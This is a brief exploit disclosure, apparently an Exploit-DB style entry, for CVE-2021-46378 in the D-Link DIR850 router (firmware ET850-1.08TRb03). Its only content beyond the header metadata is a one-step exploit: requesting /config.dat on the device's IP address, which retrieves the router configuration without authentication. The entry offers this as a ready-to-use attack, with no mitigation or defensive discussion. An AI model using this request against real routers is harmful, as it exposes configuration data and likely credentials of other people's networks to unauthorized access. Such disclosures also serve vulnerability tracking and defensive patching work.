DLINK DIR850 Insecure Direct Object Reference

`# Exploit Title: DLINK DIR850 - Insecure Access Control  
# Product: Dlink  
# Model: DIR850  
# Date: 14/1/2022  
# CVE : CVE-2021-46378  
# Exploit Author: Ahmed Alroky  
# Hardware version: b1  
# Firmware version: ET850-1.08TRb03  
# Vendor home page: https://www.dlink.com/  
  
# Exploit :   
Visit http://<IP Address>/config.dat  
  
`